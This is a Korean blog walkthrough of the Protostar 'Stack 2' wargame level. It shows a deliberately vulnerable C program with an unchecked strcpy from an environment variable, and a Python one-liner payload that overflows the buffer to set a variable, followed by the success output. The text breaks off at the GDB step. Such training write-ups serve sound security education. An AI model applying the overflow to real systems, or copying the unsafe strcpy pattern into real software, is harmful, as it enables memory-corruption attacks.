본문 바로가기

WarGame/Exploit-Exercises

[Exploit-Exercises | protostar] Stack 2 :: 환경변수를 이용한 Buffer Overflow


Stack 2의 소스코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;
 
  variable = getenv("GREENIE");
 
  if(variable == NULL) {
      errx(1"please set the GREENIE environment variable\n");
  }
 
  modified = 0;
 
  strcpy(buffer, variable); // Vulnerability!!!
 
  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
 
}
cs


int형의 modified, buffer 배열, variable 포인터를 선언하고 getenv() 함수로 해당 환경변수의 값을 variable에 대입합니다. 만약 variable이 null이면 프로그램을 종료합니다. strcpy() 함수로 variable의 값을 buffer에 복사하는데 입력 받는 크기가 지정되어 있지 않아 buffer를 overflow시켜서 modified에 특정 값을 집어 넣을 수 있습니다. modified에 0x0d0a0d0a를 집어 넣으면 문제가 풀리게 됩니다.


Step 1. 실제 변수들의 메모리 할당 크기를 알아 내기 위해 다음과 같은 c 파일을 만들어야 합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;
 
  printf("&modified : %p\n", &modified);
  printf("buffer : %p\n", buffer);
  printf("&variable : %p\n", &variable);
}
cs


Step 2. 컴파일한 후, 실행해 보면 다음과 같은 결과가 나오고 buffer의 크기가 64 Bytes라는 것을 확인할 수 있습니다.


1
2
3
&modified : 0xbffffccc
buffer : 0xbffffc8c
&variable : 0xbffffc88
cs


Step 3. 이제 64개의 A문자와 0x0d0a0d0a로 구성된 GREENIE라는 환경변수를 만들면 해당 환경변수의 값이 buffer에 입력되고 buffer가 overflow되어 modified에 0x0d0a0d0a가 들어갈 것 입니다. GREENIE 환경변수를 만드는 방법은 다음과 같습니다. 

(원래는 export GREENIE ... 라고 입력해도 되지만 이상하게 ": bad variable name"이라는 에러가 출력되어 다음과 같이 나누어서 입력하였습니다.)


1
2
$ GREENIE=`python -c 'print "A"*64+"\x0a\x0d\x0a\x0d"'`
$ export GREENIE
cs


Step 4. 이제 stack2를 실행해 보면 다음과 같이 성공 메시지가 출력됩니다.


1
2
$ /opt/protostar/bin/stack2
you have correctly modified the variable
cs



Step 5. GDB를 통해서 입력된 값을 확인하면 아래와 같이 modified에 0x0d0a0d0a가 입력된것을 확인할 수 있습니다.